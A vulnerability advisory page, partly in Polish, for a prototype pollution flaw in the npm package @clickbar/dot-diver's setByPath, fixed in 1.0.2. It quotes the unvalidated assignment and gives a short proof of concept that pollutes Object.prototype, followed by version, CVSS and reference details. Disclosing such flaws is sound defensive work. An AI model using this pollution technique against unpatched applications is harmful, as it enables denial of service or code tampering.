Prototype Pollution(PP) vulnerability in setByPath
Summary
There is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE.
Details
//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
// eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value
In this code, there is no validation for Prototpye Pollution.
PoC
import { getByPath, setByPath } from '@clickbar/dot-diver'
console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo
Impact
It is Prototype Pollution(PP) and it can leads to Dos, RCE, etc.
Credits
Team : NodeBoB
최지혁 ( Jihyeok Choi )
이동하 ( Lee Dong Ha of ZeroPointer Lab )
강성현 ( kang seonghyeun )
박성진 ( sungjin park )
김찬호 ( Chanho Kim )
이수영 ( Lee Su Young )
김민욱 ( MinUk Kim )
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | @clickbar/dot-diver | < 1.0.2 | 1.0.2 |
Odnośniki
- https://github.com/clickbar/dot-diver/security/advisories/GHSA-9w5f-mw3p-pj47
- https://nvd.nist.gov/vuln/detail/CVE-2023-45827
- https://github.com/clickbar/dot-diver/commit/9790834cf4c2bca75db00e588e58056dacaf602f
- https://github.com/clickbar/dot-diver/commit/98daf567390d816fd378ec998eefe2e97f293d5a
- https://github.com/clickbar/dot-diver
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L- Słabość (CWE)
CWE-1321- Platforma
- npm
- Paczka
@clickbar/dot-diver- Ujawniono
- 03.11.2023
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-9w5f-mw3p-pj47 - CC BY 4.0
Historia podatności: @clickbar/dot-diver
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
To jedyna znana podatność tej paczki.
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.